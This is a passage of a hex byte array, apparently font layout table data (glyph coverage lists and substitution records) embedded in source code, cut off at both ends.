0x0A, 0x96, 0x1D, 0x00, 0x03, 0x00, 0x24, + 0x97, 0x0B, 0x96, 0x1E, 0x00, 0x03, 0x00, 0x25, + 0x97, 0x0C, 0x96, 0x1F, 0x00, 0x03, 0x00, 0x26, + 0x97, 0x0D, 0x96, 0x20, 0x00, 0x03, 0x00, 0x27, + 0x97, 0x0E, 0x96, 0x21, 0x00, 0x03, 0x00, 0x28, + 0x97, 0x0F, 0x96, 0x22, 0x00, 0x03, 0x00, 0x29, + 0x97, 0x10, 0x96, 0x23, 0x00, 0x03, 0x00, 0x2A, + 0x97, 0x11, 0x96, 0x24, 0x00, 0x03, 0x00, 0x21, + 0x97, 0x08, 0x96, 0x11, 0x00, 0x03, 0x00, 0x22, + 0x97, 0x09, 0x96, 0xB4, 0x00, 0x03, 0x00, 0x23, + 0x97, 0x0A, 0x96, 0x12, 0x00, 0x03, 0x00, 0x24, + 0x97, 0x0B, 0x96, 0x13, 0x00, 0x03, 0x00, 0x25, + 0x97, 0x0C, 0x96, 0x14, 0x00, 0x03, 0x00, 0x26, + 0x97, 0x0D, 0x96, 0x15, 0x00, 0x03, 0x00, 0x27, + 0x97, 0x0E, 0x96, 0x16, 0x00, 0x03, 0x00, 0x28, + 0x97, 0x0F, 0x96, 0x17, 0x00, 0x03, 0x00, 0x29, + 0x97, 0x10, 0x96, 0x18, 0x00, 0x03, 0x00, 0x2A, + 0x97, 0x11, 0x96, 0x19, 0x00, 0x03, 0x01, 0x83, + 0x80, 0xF1, 0x80, 0xF0, 0x00, 0x02, 0x00, 0x14, + 0x81, 0x06, 0x00, 0x03, 0x00, 0x94, 0x81, 0x2F, + 0x81, 0x2E, 0x00, 0x03, 0x00, 0x96, 0x81, 0x55, + 0x81, 0x54, 0x00, 0x03, 0x00, 0x15, 0x96, 0xFC, + 0x80, 0xDF, 0x00, 0x03, 0x00, 0x93, 0x97, 0x7A, + 0x80, 0xDB, 0x00, 0x02, 0x96, 0x93, 0x96, 0x94, + 0x00, 0x03, 0x00, 0x22, 0x97, 0x09, 0x96, 0x1C, + 0x00, 0x03, 0x00, 0x15, 0x80, 0xDF, 0x96, 0x2B, + 0x00, 0x03, 0x00, 0x21, 0x96, 0x11, 0x96, 0x1B, + 0x00, 0x03, 0x00, 0x22, 0x96, 0xB4, 0x96, 0x1C, + 0x00, 0x03, 0x00, 0x23, 0x96, 0x12, 0x96, 0x1D, + 0x00, 0x03, 0x00, 0x24, 0x96, 0x13, 0x96, 0x1E, + 0x00, 0x03, 0x00, 0x25, 0x96, 0x14, 0x96, 0x1F, + 0x00, 0x03, 0x00, 0x26, 0x96, 0x15, 0x96, 0x20, + 0x00, 0x03, 0x00, 0x27, 0x96, 0x16, 0x96, 0x21, + 0x00, 0x03, 0x00, 0x28, 0x96, 0x17, 0x96, 0x22, + 0x00, 0x03, 0x00, 0x29, 0x96, 0x18, 0x96, 0x23, + 0x00, 0x03, 0x00, 0x2A, 0x96, 0x19, 0x96, 0x24, + 0x00, 0x03, 0x00, 0x93, 0x80, 0xDB, 0x96, 0x2C, + 0x00, 0x01, 0x00, 0xC9, 0x00, 0x14, 0x00, 0x15, + 0x00, 0x1D, 0x00, 0x32, 0x00, 0x33, 0x00, 0x34, + 0x00, 0x35, 0x00, 0x36, 0x00, 0x37, 0x00, 0x38, + 0x00, 0x39, 0x00, 0x3A, 0x00, 0x3B, 0x00, 0x3C, + 0x00, 0x3D, 0x00, 0x3E, 0x00, 0x3F, 0x00, 0x40, + 0x00, 0x41, 0x00, 0x42, 0x00, 0x43, 0x00, 0x44, + 0x00, 0x45, 0x00, 0x46, 0x00, 0x47, 0x00, 0x48, + 0x00, 0x49, 0x00, 0x4A, 0x00, 0x4B, 0x00, 0x51, + 0x00, 0x53, 0x00, 0x55, 0x00, 0x56, 0x00, 0x58, + 0x00, 0x59, 0x00, 0x5C, 0x00, 0x5D, 0x00, 0x5E, + 0x00, 0x63, 0x00, 0x64, 0x00, 0x65, 0x00, 0x92, + 0x00, 0x93, 0x00, 0x94, 0x00, 0x96, 0x00, 0x99, + 0x00, 0xA0, 0x00, 0xA5, 0x00, 0xA9, 0x00, 0xB0, + 0x00, 0xB1, 0x00, 0xB2, 0x00, 0xB3, 0x00, 0xB4, + 0x00, 0xB5, 0x00, 0xB6, 0x00, 0xB8, 0x00, 0xB9, + 0x00, 0xBA, 0x00, 0xBB, 0x00, 0xBC, 0x00, 0xBD, + 0x00, 0xBE, 0x00, 0xBF, 0x00, 0xC0, 0x00, 0xC1, + 0x00, 0xC2, 0x00, 0xC3, 0x00, 0xC4, 0x00, 0xC5, + 0x00, 0xC6, 0x00, 0xC7, 0x00, 0xC9, 0x00, 0xCA, + 0x00, 0xCB, 0x00, 0xCC, 0x00, 0xCD, 0x00, 0xCE, + 0x00, 0xD9, 0x00, 0xF1, 0x00, 0xF3, 0x00, 0xF5, + 0x00, 0xF7, 0x00, 0xF9, 0x00, 0xFB, 0x00, 0xFD, + 0x00, 0xFF, 0x01, 0x01, 0x01, 0x03, 0x01, 0x05, + 0x01, 0x07, 0x01, 0x09, 0x01, 0x0B, 0x01, 0x0D, + 0x01, 0x0F, 0x01, 0x11, 0x01, 0x13, 0x01, 0x15, + 0x01, 0x17, 0x01, 0x19, 0x01, 0x1B, 0x01, 0x1D, + 0x01, 0x1F, 0x01, 0x21, 0x01, 0x25, 0x01, 0x27, + 0x01, 0x2A, 0x01, 0x2C, 0x01, 0x2E, 0x01, 0x30, + 0x01, 0x34, 0x01, 0x36, 0x01, 0x38, 0x01, 0x3B, + 0x01, 0x3D, 0x01, 0x3F, 0x01, 0x41, 0x01, 0x45, + 0x01, 0x47, 0x01, 0x49, 0x01, 0x4B, 0x01, 0x4D, + 0x01, 0x51, 0x01, 0x53, 0x01, 0x55, 0x01, 0x57, + 0x01, 0x59, 0x01, 0x5B, 0x01, 0x5D, 0x01, 0x5F, + 0x01, 0x61, 0x01, 0x63, 0x01, 0x65, 0x01, 0x67, + 0x01, 0x69, 0x01, 0x6A, 0x01, 0x6C, 0x01, 0x6E, + 0x01, 0x83, 0x01, 0x91, 0x01, 0xA0, 0x80, 0xDB, + 0x80, 0xDF, 0x80, 0xF0, 0x80, 0xF1, 0x81, 0x05, + 0x81, 0x06, 0x81, 0x2E, 0x81, 0x2F, 0x81, 0x54, + 0x81, 0x55, 0x82, 0x31, 0x82, 0x32, 0x82, 0x33, + 0x82, 0x34, 0x82, 0x35, 0x82, 0x36, 0x82, 0x37, + 0x82, 0x38, 0x82, 0x39, 0x82, 0x3A, 0x82, 0x3B, + 0x96, 0x11, 0x96, 0x12, 0x96, 0x13, 0x96, 0x14, + 0x96, 0x15, 0x96, 0x16, 0x96, 0x17, 0x96, 0x18, + 0x96, 0x19, 0x96, 0x1B, 0x96, 0x1C, 0x96, 0x1D, + 0x96, 0x1E, 0x96, 0x1F, 0x96, 0x20, 0x96, 0x21, + 0x96, 0x22, 0x96, 0x23, 0x96, 0x24, 0x96, 0x27, + 0x96, 0x28, 0x96, 0x29, 0x96, 0x2A, 0x96, 0x2B, + 0x96, 0x2C, 0x96, 0x92, 0x96, 0xB4, 0x96, 0xFC, + 0x97, 0x08, 0x97, 0x09, 0x97, 0x0A, 0x97, 0x0B, + 0x97, 0x0C, 0x97, 0x0D, 0x97, 0x0E, 0x97, 0x0F, + 0x97, 0x10, 0x97, 0x11, 0x97, 0x7A, 0x00, 0x02, + 0x00, 0x46, 0x00, 0x20, 0x96, 0x86, 0x96, 0x87, + 0x96, 0x92, 0x96, 0x0B, 0x96, 0x88, 0x96, 0x89, + 0x96, 0xA6, 0x96, 0x8A, 0x96, 0x8B, 0x96, 0x8C, + 0x96, 0xA3, 0x96, 0x8E, 0x96, 0xA8, 0x96, 0xA1, + 0x96, 0x95, 0x8F, 0xCA, 0x96, 0x8F, 0x96, 0x8D, + 0x82, 0x3C, 0x82, 0xF8, 0x82, 0x3D, 0x82, 0x3E, + 0x82, 0x3F, 0x82, 0x40, 0x82, 0x41, 0x82, 0x42, + 0x82, 0x43, 0x82, 0x44, 0x82, 0x45, 0x96, 0xA9, + 0x96, 0xAA, 0x96, 0xAB, 0x00, 0x01, 0x00, 0x20, + 0x00, 0x19, 0x00, 0x1A, 0x00, 0x1E, 0x00, 0x31, + 0x00, 0x4C, 0x00, 0x4E, 0x00, 0x51, 0x00, 0x6C, + 0x00, 0x6E, 0x00, 0x92, 0x00, 0x99, 0x00, 0x9C, + 0x00, 0xA0, 0x00, 0xA5, 0x00, 0xA8, 0x00, 0xA9, + 0x00, 0xAC, 0x00, 0xB0, 0x82, 0x31, 0x82, 0x32, + 0x82, 0x33, 0x82, 0x34, 0x82, 0x35, 0x82, 0x36, + 0x82, 0x37, 0x82, 0x38, 0x82, 0x39, 0x82, 0x3A, + 0x82, 0x3B, 0x96, 0xAC, 0x96, 0xAD, 0x96, 0xAE, + 0x00, 0x02, 0x00, 0x28, 0x00, 0x11, 0x96, 0x07, + 0x96, 0x09, 0x96, 0x0A, 0x96, 0x43, 0x96, 0x08, + 0x96, 0x44, 0x96, 0x39, 0x96, 0x3A, 0x96, 0x3B, + 0x96, 0x3C, 0x96, 0x3D, 0x96, 0x3E, 0x96, 0x3F, + 0x96, 0x40, 0x96, 0x41, 0x96, 0x42, 0x96, 0x06, + 0x00, 0x02, 0x00, 0x05, 0x00, 0x15, 0x00, 0x15, + 0x00, 0x00, 0x00, 0x19, 0x00, 0x1A, 0x00, 0x01, + 0x00, 0x1D, 0x00, 0x1F, 0x00, 0x03, 0x00, 0x21, + 0x00, 0x2A, 0x00, 0x06, 0x00, 0x93, 0x00, 0x93, + 0x00, 0x10, 0x00, 0x02, 0x00, 0x28, 0x00, 0x11, + 0x96, 0x02, 0x96, 0x04, 0x96, 0x05, 0x96, 0x37, + 0x96, 0x03, 0x96, 0x38, 0x96, 0x2D, 0x96, 0x2E, + 0x96, 0x2F, 0x96, 0x30, 0x96, 0x31, 0x96, 0x32, + 0x96, 0x33, 0x96, 0x34, 0x96, 0x35, 0x96, 0x36, + 0x96, 0x01, 0x00, 0x02, 0x00, 0x05, 0x00, 0x15, + 0x00, 0x15, 0x00, 0x00, 0x00, 0x19, 0x00, 0x1A, + 0x00, 0x01, 0x00, 0x1D, 0x00, 0x1F, 0x00, 0x03, + 0x00, 0x21, 0x00, 0x2A, 0x00, 0x06, 0x00, 0x93, + 0x00, 0x93, 0x00, 0x10, 0x00, 0x03, 0x00, 0x01, + 0x00, 0x1A, 0x00, 0x01, 0x00, 0x12, 0x00, 0x00, + 0x00, 0x01, 0x00, 0x00, 0x00, 0x19, 0x00, 0x01, + 0x00, 0x02, 0x00, 0x11, 0x00, 0x91, 0x00, 0x02, + 0x00, 0x01, 0x96, 0x39, 0x96, 0x42, 0x00, 0x00, + 0x00, 0x03, 0x00, 0x01, 0x00, 0x22, 0x00, 0x01, + 0x00, 0x12, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, + 0x00, 0x19, 0x00, 0x02, 0x00, 0x02, 0x96, 0x06, + 0x96, 0x0A, 0x00, 0x00, 0x96, 0x39, 0x96, 0x44, + 0x00, 0x05, 0x00, 0x02, 0x00, 0x03, 0x00, 0xAD, + 0x00, 0xAF, 0x00, 0x00, 0x96, 0x01, 0x96, 0x05, + 0x00, 0x03, 0x96, 0x2D, 0x96, 0x38, 0x00, 0x08, + 0x00, 0x03, 0x00, 0x02, 0x00, 0x24, 0x00, 0x28, + 0x00, 0x01, 0x00, 0x14, 0x00, 0x00, 0x00, 0x01, + 0x00, 0x00, 0x00, 0x19, 0x00, 0x02, 0x00, 0x02, + 0x96, 0x06, 0x96, 0x0A, 0x00, 0x00, 0x96, 0x39, + 0x96, 0x44, 0x00, 0x05, 0x00, 0x01, 0x00, 0x00, + 0x00, 0x02, 0x00, 0x02, 0x00, 0xAD, 0x00, 0xAF, + 0x00, 0x00, 0x96, 0x2D, 0x96, 0x36, 0x00, 0x03, + 0x00, 0x02, 0x00, 0x1E, 0x00, 0x0C, 0x96, 0xC2, + 0x96, 0xC3, 0x96, 0xC4, 0x80, 0xF5, 0x96, 0x0F, + 0x96, 0xC5, 0x96, 0xC6, 0x96, 0xC7, 0x96, 0xC9, + 0x96, 0xCA, 0x96, 0xCB, 0x80, 0xE2, 0x00, 0x01, + 0x00, 0x0C, 0x00, 0x53, 0x00, 0x55, 0x00, 0x56, + 0x00, 0x58, 0x00, 0x59, 0x00, 0x5A, 0x00, 0x5D, + 0x00, 0x5E, 0x00, 0x63, 0x00, 0x64, 0x00, 0x65, + 0x00, 0xD9, 0x00, 0x02, 0x00, 0x10, 0x00, 0x05, + 0x96, 0xBC, 0x96, 0xBA, 0x96, 0xBE, 0x96, 0xC0, + 0x96, 0xB8, 0x00, 0x01, 0x00, 0x05, 0x00, 0x15, + 0x00, 0x1D, 0x00, 0x1E, 0x00, 0x1F, 0x00, 0x93, + 0x00, 0x02, 0x00, 0x10, 0x00, 0x05, 0x96, 0xBB, + 0x96, 0xB9, 0x96, 0xBD, 0x96, 0xBF, 0x96, 0xB7, + 0x00, 0x01, 0x00, 0x05, 0x00, 0x15, 0x00, 0x1D, + 0x00, 0x1E, 0x00, 0x1F, 0x00, 0x93, 0x00, 0x03, + 0x00, 0x01, 0x01, 0x02, 0x00, 0x01, 0x00, 0x0E, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x78, + 0x00, 0x32, 0x00, 0x33, 0x00, 0x34, 0x00, 0x35, + 0x00, 0x36, 0x00, 0x37, 0x00, 0x38, 0x00, 0x39, + 0x00, 0x3A, 0x00, 0x3B, 0x00, 0x3C, 0x00, 0x3D, + 0x00, 0x3E, 0x00, 0x3F, 0x00, 0x40, 0x00, 0x41, + 0x00, 0x42, 0x00, 0x43, 0x00, 0x44, 0x00, 0x45, + 0x00, 0x46, 0x00, 0x47, 0x00, 0x48, 0x00, 0x49, + 0x00, 0x4A, 0x00, 0x4B, 0x00, 0xB1, 0x00, 0xB2, + 0x00, 0xB3, 0x00, 0xB4, 0x00, 0xB5, 0x00, 0xB6, + 0x00, 0xB8, 0x00, 0xB9, 0x00, 0xBA, 0x00, 0xBB, + 0x00, 0xBC, 0x00, 0xBD, 0x00, 0xBE, 0x00, 0xBF, + 0x00, 0xC0, 0x00, 0xC1, 0x00, 0xC2, 0x00, 0xC3, + 0x00, 0xC4, 0x00, 0xC5, 0x00, 0xC6, 0x00, 0xC7, + 0x00, 0xC9, 0x00, 0xCA, 0x00, 0xCB, 0x00, 0xCC, + 0x00, 0xCD, 0x00, 0xCE, 0x00, 0xF1, 0x00, 0xF3, + 0x00, 0xF5, 0x00, 0xF7, 0x00, 0xF9, 0x00, 0xFB, + 0x00, 0xFD, 0x00, 0xFF, 0x01, 0x01, 0x01, 0x03, + 0x01, 0x05, 0x01, 0x07, 0x01, 0x09, 0x01, 0x0B, + 0x01, 0x0D, 0x01, 0x0F, 0x01, 0x11, 0x01, 0x13, + 0x01, 0x15, 0x01, 0x17, 0x01, 0x19, 0x01, 0x1B, + 0x01, 0x1D, 0x01, 0x1F, 0x01, 0x21, 0x01, 0x23, + 0x01, 0x25, 0x01, 0x27, 0x01, 0x2A, 0x01, 0x2C, + 0x01, 0x2E, 0x01, 0x30, 0x01, 0x34, 0x01, 0x36, + 0x01, 0x38, 0x01, 0x3B, 0x01, 0x3D, 0x01, 0x3F, + 0x01, 0x41, 0x01, 0x45, 0x01, 0x47, 0x01, 0x49, + 0x01, 0x4B, 0x01, 0x4D, 0x01, 0x4F, 0x01, 0x51, + 0x01, 0x53, 0x01, 0x55, 0x01, 0x57, 0x01, 0x59, + 0x01, 0x5B, 0x01, 0x5D, 0x01, 0x5F, 0x01, 0x61, + 0x01, 0x63, 0x01, 0x65, 0x01, 0x67, 0x01, 0x69, + 0x01, 0x6A, 0x01, 0x6C, 0x01, 0x6E, 0x01, 0x91, + 0x01, 0xA0, 0x80, 0x93, 0x80, 0x94, 0x80, 0x96, + 0x00, 0x01, 0x00, 0x78, 0x00, 0x32, 0x00, 0x33, + 0x00, 0x34, 0x00, 0x35, 0x00, 0x36, 0x00, 0x37, + 0x00, 0x38, 0x00, 0x39, 0x00, 0x3A, 0x00, 0x3B, + 0x00, 0x3C, 0x00, 0x3D, 0x00, 0x3E, 0x00, 0x3F, + 0x00, 0x40, 0x00, 0x41, 0x00, 0x42, 0x00, 0x43, + 0x00, 0x44, 0x00, 0x45, 0x00, 0x46, 0x00, 0x47, + 0x00, 0x48, 0x00, 0x49, 0x00, 0x4A, 0x00, 0x4B, + 0x00, 0xB1, 0x00, 0xB2, 0x00, 0xB3, 0x00, 0xB4, + 0x00, 0xB5, 0x00, 0xB6, 0x00, 0xB8, 0x00, 0xB9, + 0x00, 0xBA, 0x00, 0xBB, 0x00, 0xBC, 0x00, 0xBD, + 0x00, 0xBE, 0x00, 0xBF, 0x00, 0xC0, 0x00, 0xC1, + 0x00, 0xC2, 0x00, 0xC3, 0x00, 0xC4, 0x00, 0xC5, + 0x00, 0xC6, 0x00, 0xC7, 0x00, 0xC9, 0x00, 0xCA, + 0x00, 0xCB, 0x00, 0xCC, 0x00, 0xCD, 0x00, 0xCE, + 0x00, 0xF1, 0x00, 0xF3, 0x00, 0xF5, 0x00, 0xF7, + 0x00, 0xF9, 0x00, 0xFB, 0x00, 0xFD, 0x00, 0xFF, + 0x01, 0x01, 0x01, 0x03, 0x01, 0x05, 0x01, 0x07, + 0x01, 0x09, 0x01, 0x0B, 0x01, 0x0D, 0x01, 0x0F, + 0x01, 0x11, 0x01, 0x13, 0x01, 0x15, 0x01, 0x17, + 0x01, 0x19, 0x01, 0x1B, 0x01, 0x1D, 0x01, 0x1F, + 0x01, 0x21, 0x01, 0x23, 0x01, 0x25, 0x01, 0x27, + 0x01, 0x2A, 0x01, 0x2C, 0x01, 0x2E, 0x01, 0x30, + 0x01, 0x34, 0x01, 0x36, 0x01, 0x38, 0x01, 0x3B, + 0x01, 0x3D, 0x01, 0x3F, 0x01, 0x41, 0x01, 0x45, + 0x01, 0x47, 0x01, 0x49, 0x01, 0x4B, 0x01, 0x4D, + 0x01, 0x4F, 0x01, 0x51, 0x01, 0x53, 0x01, 0x55, + 0x01, 0x57, 0x01, 0x59, 0x01, 0x5B, 0x01, 0x5D, + 0x01, 0x5F, 0x01, 0x61, 0x01, 0x63, 0x01, 0x65, + 0x01, 0x67, 0x01, 0x69, 0x01, 0x6A, 0x01, 0x6C, + 0x01, 0x6E, 0x01, 0x91, 0x01, 0xA0, 0x80, 0x93, + 0x80, 0x94, 0x80, 0x96, 0x00, 0x03, 0x00, 0x00, + 0x00, 0x01, 0x00, 0x0E, 0x00, 0x01, 0x01, 0x02, + 0x00, 0x00, 0x00, 0x01, 0x00, 0x78, 0x00, 0x32, + 0x00, 0x33, 0x00, 0x34, 0x00, 0x35, 0x00, 0x36, + 0x00, 0x37, 0x00, 0x38, 0x00, 0x39, 0x00, 0x3A, + 0x00, 0x3B, 0x00, 0x3C, 0x00, 0x3D, 0x00, 0x3E, + 0x00, 0x3F, 0x00, 0x40, 0x00, 0x41, 0x00, 0x42, + 0x00, 0x43, 0x00, 0x44, 0x00, 0x45, 0x00, 0x46, + 0x00, 0x47, 0x00, 0x48, 0x00, 0x49, 0x00, 0x4A, + 0x00, 0x4B, 0x00, 0xB1, 0x00, 0xB2, 0x00, 0xB3, + 0x00, 0xB4, 0x00, 0xB5, 0x00, 0xB6, 0x00, 0xB8, + 0x00, 0xB9, 0x00, 0xBA, 0x00, 0xBB, 0x00, 0xBC, + 0x00, 0xBD, 0x00, 0xBE, 0x00, 0xBF, 0x00, 0xC0, + 0x00, 0xC1, 0x00, 0xC2, 0x00, 0xC3, 0x00, 0xC4, + 0x00, 0xC5, 0x00, 0xC6, 0x00, 0xC7, 0x00, 0xC9, + 0x00, 0xCA, 0x00, 0xCB, 0x00, 0xCC, 0x00, 0xCD, + 0x00, 0xCE, 0x00, 0xF1, 0x00, 0xF3, 0x00, 0xF5, + 0x00, 0xF7, 0x00, 0xF9, 0x00, 0xFB, 0x00, 0xFD, + 0x00, 0xFF, 0x01, 0x01, 0x01, 0x03, 0x01, 0x05, + 0x01, 0x07, 0x01, 0x09, 0x01, 0x0B, 0x01, 0x0D, + 0x01, 0x0F, 0x01, 0x11, 0x01, 0x13, 0x01, 0x15, + 0x01, 0x17, 0x01, 0x19, 0x01, 0x1B, 0x01, 0x1D, + 0x01, 0x1F, 0x01, 0x21, 0x01, 0x23, 0x01, 0x25, + 0x01, 0x27, 0x01, 0x2A, 0x01, 0x2C, 0x01, 0x2E, + 0x01, 0x30, 0x01, 0x34, 0x01, 0x36, 0x01, 0x38, + 0x01, 0x3B, 0x01, 0x3D, 0x01, 0x3F, 0x01, 0x41, + 0x01, 0x45, 0x01, 0x47, 0x01, 0x49, 0x01, 0x4B, + 0x01, 0x4D, 0x01, 0x4F, 0x01, 0x51, 0x01, 0x53, + 0x01, 0x55, 0x01, 0x57, 0x01, 0x59, 0x01, 0x5B, + 0x01, 0x5D, 0x01, 0x5F, 0x01, 0x61, 0x01, 0x63, + 0x01, 0x65, 0x01, 0x67, 0x01, 0x69, 0x01, 0x6A, + 0x01, 0x6C, 0x01, 0x6E, 0x01, 0x91, 0x01, 0xA0, + 0x80, 0x93, 0x80, 0x94, 0x80, 0x96, 0x00, 0x01, + 0x00, 0x78, 0x00, 0x32, 0x00, 0x33, 0x00, 0x34, + 0x00, 0x35, 0x00, 0x36, 0x00, 0x37, 0x00, 0x38, + 0x00, 0x39, 0x00, 0x3A, 0x00, 0x3B, 0x00, 0x3C, + 0x00, 0x3D, 0x00, 0x3E, 0x00, 0x3F, 0x00, 0x40, + 0x00, 0x41, 0x00, 0x42, 0x00, 0x43, 0x00, 0x44, + 0x00, 0x45, 0x00, 0x46, 0x00, 0x47, 0x00, 0x48, + 0x00, 0x49, 0x00, 0x4A, 0x00, 0x4B, 0x00, 0xB1, + 0x00, 0xB2, 0x00, 0xB3, 0x00, 0xB4, 0x00, 0xB5, + 0x00, 0xB6, 0x00, 0xB8, 0x00, 0xB9, 0x00, 0xBA, + 0x00, 0xBB, 0x00, 0xBC, 0x00, 0xBD, 0x00, 0xBE, + 0x00, 0xBF, 0x00, 0xC0, 0x00, 0xC1, 0x00, 0xC2, + 0x00, 0xC3, 0x00, 0xC4, 0x00, 0xC5, 0x00, 0xC6, + 0x00, 0xC7, 0x00, 0xC9, 0x00, 0xCA, 0x00, 0xCB, + 0x00, 0xCC, 0x00, 0xCD, 0x00, 0xCE, 0x00, 0xF1, + 0x00, 0xF3, 0x00, 0xF5, 0x00, 0xF7, 0x00, 0xF9, + 0x00, 0xFB, 0x00, 0xFD, 0x00, 0xFF, 0x01, 0x01, + 0x01, 0x03, 0x01, 0x05, 0x01, 0x07, 0x01, 0x09, + 0x01, 0x0B, 0x01, 0x0D, 0x01, 0x0F, 0x01, 0x11, + 0x01, 0x13, 0x01, 0x15, 0x01, 0x17, 0x01, 0x19, + 0x01, 0x1B, 0x01, 0x1D, 0x01, 0x1F, 0x01, 0x21, + 0x01, 0x23, 0x01, 0x25, 0x01, 0x27, 0x01, 0x2A, + 0x01, 0x2C, 0x01, 0x2E, 0x01, 0x30, 0x01, 0x34, + 0x01, 0x36, 0x01, 0x38, 0x01, 0x3B, 0x01, 0x3D, + 0x01, 0x3F, 0x01, 0x41, 0x01, 0x45, 0x01, 0x47, + 0x01, 0x49, 0x01, 0x4B, 0x01, 0x4D, 0x01, 0x4F, + 0x01, 0x51, 0x01, 0x53, 0x01, 0x55, 0x01, 0x57, + 0x01, 0x59, 0x01, 0x5B, 0x01, 0x5D, 0x01, 0x5F, + 0x01, 0x61, 0x01, 0x63, 0x01, 0x65, 0x01, 0x67, + 0x01, 0x69, 0x01, 0x6A, 0x01, 0x6C, 0x01, 0x6E, + 0x01, 0x91, 0x01, 0xA0, 0x80, 0x93, 0x80, 0x94, + 0x80, 0x96, 0x00, 0x03, 0x00, 0x00, 0x00, 0x01, + 0x00, 0x10, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, + 0x00, 0x19, 0x00, 0x01, 0x00, 0x78, 0x00, 0x32, + 0x00, 0x33, 0x00, 0x34, 0x00, 0x35, 0x00, 0x36, + 0x00, 0x37, 0x00, 0x38, 0x00, 0x39, 0x00, 0x3A, + 0x00, 0x3B, 0x00, 0x3C, 0x00, 0x3D, 0x00, 0x3E, + 0x00, 0x3F, 0x00, 0x40, 0x00, 0x41, 0x00, 0x42, + 0x00, 0x43, 0x00, 0x44, 0x00, 0x45, 0x00, 0x46, + 0x00, 0x47, 0x00, 0x48, 0x00, 0x49, 0x00, 0x4A, + 0x00, 0x4B, 0x00, 0xB1, 0x00, 0xB2, 0x00, 0xB3, + 0x00, 0xB4, 0x00, 0xB5, 0x00, 0xB6, 0x00, 0xB8, + 0x00, 0xB9, 0x00, 0xBA, 0x00, 0xBB, 0x00, 0xBC, + 0x00, 0xBD, 0x00, 0xBE, 0x00, 0xBF, 0x00, 0xC0, + 0x00, 0xC1, 0x00, 0xC2, 0x00, 0xC3, 0x00, 0xC4, + 0x00, 0xC5, 0x00, 0xC6, 0x00, 0xC7, 0x00, 0xC9, + 0x00, 0xCA, 0x00, 0xCB, 0x00, 0xCC, 0x00, 0xCD, + 0x00, 0xCE, 0x00, 0xF1, 0x00, 0xF3, 0x00, 0xF5, + 0x00, 0xF7, 0x00, 0xF9, 0x00, 0xFB, 0x00, 0xFD, + 0x00, 0xFF, 0x01, 0x01, 0x01, 0x03, 0x01, 0x05, + 0x01, 0x07, 0x01, 0x09, 0x01, 0x0B, 0x01, 0x0D, + 0x01, 0x0F, 0x01, 0x11, 0x01, 0x13, 0x01, 0x15, + 0x01, 0x17, 0x01, 0x19, 0x01, 0x1B, 0x01, 0x1D, + 0x01, 0x1F, 0x01, 0x21, 0x01, 0x23, 0x01, 0x25, + 0x01, 0x27, 0x01, 0x2A, 0x01, 0x2C, 0x01, 0x2E, + 0x01, 0x30, 0x01, 0x34, 0x01, 0x36, 0x01, 0x38, + 0x01, 0x3B, 0x01, 0x3D, 0x01, 0x3F, 0x01, 0x41, + 0x01, 0x45, 0x01, 0x47, 0x01, 0x49, 0x01, 0x4B, + 0x01, 0x4D, 0x01, 0x4F, 0x01, 0x51, 0x01, 0x53, + 0x01, 0x55, 0x01, 0x57, 0x01, 0x59, 0x01, 0x5B, + 0x01, 0x5D, 0x01, 0x5F, 0x01, 0x61, 0x01, 0x63, + 0x01, 0x65, 0x01, 0x67, 0x01, 0x69, 0x01, 0x6A, + 0x01, 0x6C, 0x01, 0x6E, 0x01, 0x91, 0x01, 0xA0, + 0x80, 0x93, 0x80, 0x94, 0x80, 0x96, 0x00, 0x02, + 0x00, 0xFE, 0x00, 0x7C, 0x7F, 0xD8, 0x7F, 0xEE, + 0x7F, 0xF0, 0x7F, 0xFC, 0x80, 0x02, 0x80, 0x1C, + 0x80, 0x1E, 0x80, 0x28, 0x80, 0x2E, 0x80, 0x44, + 0x80, 0x49, 0x80, 0x4D, 0x80, 0x58, 0x80, 0x5A, + 0x80, 0x64, 0x80, 0x7B, 0x80, 0x7D, 0x80, 0x80, + 0x80, 0x89, 0x80, 0x91, 0x80, 0xA0, 0x80, 0xB6, + 0x80, 0xB8, 0x80, 0xC2, 0x80, 0xC4, 0x80, 0xCE, + 0x7F, 0xE4, 0x7F, 0xDC, 0x7F, 0xE0, 0x7F, 0xEC, + 0x7F, 0xE2, 0x7F, 0xEA, 0x7F, 0xDA, 0x7F, 0xF6, + 0x80, 0x10, 0x80, 0x04, 0x80, 0x0A, 0x80, 0x0C, + 0x80, 0x3C, 0x80, 0x32, 0x80, 0x36, 0x80, 0x38, + 0x80, 0x18, 0x80, 0x62, 0x80, 0x6F, 0x80, 0x67, + 0x80, 0x6B, 0x80, 0x79, 0x80, 0x6D, 0x80, 0x75, + 0x80, 0xAA, 0x80, 0xA2, 0x80, 0xA6, 0x80, 0xA8, + 0x80, 0xC6, 0x80, 0x9F, 0x7F, 0xE6, 0x7F, 0xDE, + 0x7F, 0xE8, 0x7F, 0xF2, 0x7F, 0xF8, 0x7F, 0xFA, + 0x7F, 0xF4, 0x7F, 0xFE, 0x80, 0x00, 0x80, 0x12, + 0x80, 0x06, 0x80, 0x0E, 0x80, 0x16, 0x80, 0x08, + 0x80, 0x22, 0x80, 0x20, 0x80, 0x26, 0x80, 0x24, + 0x80, 0x2C, 0x80, 0x2A, 0x80, 0x42, 0x80, 0x3E, + 0x80, 0x34, 0x80, 0x40, 0x80, 0x3A, 0x80, 0x30, + 0x80, 0x46, 0x80, 0x4B, 0x80, 0x4F, 0x80, 0x53, + 0x80, 0x51, 0x80, 0x55, 0x80, 0x57, 0x80, 0x5C, + 0x80, 0x60, 0x80, 0x5E, 0x80, 0x14, 0x80, 0x73, + 0x80, 0x69, 0x80, 0x71, 0x80, 0x66, 0x80, 0x82, + 0x80, 0x86, 0x80, 0x84, 0x80, 0x8B, 0x80, 0x8F, + 0x81, 0x30, 0x80, 0x8D, 0x80, 0x9D, 0x80, 0x9B, + 0x80, 0x99, 0x80, 0xB4, 0x80, 0xAE, 0x80, 0xA4, + 0x80, 0xB2, 0x80, 0xAC, 0x80, 0xB0, 0x80, 0xBC, + 0x80, 0xC8, 0x80, 0xCA, 0x80, 0xD0, 0x80, 0xD4, + 0x80, 0xD2, 0x82, 0x20, 0x82, 0x28, 0x82, 0xE5, + 0x82, 0xE9, 0x82, 0xEF, 0x00, 0x01, 0x00, 0x7C, + 0x00, 0x32, 0x00, 0x33, 0x00, 0x34, 0x00, 0x35, + 0x00, 0x36, 0x00, 0x37, 0x00, 0x38, 0x00, 0x39, + 0x00, 0x3A, 0x00, 0x3B, 0x00, 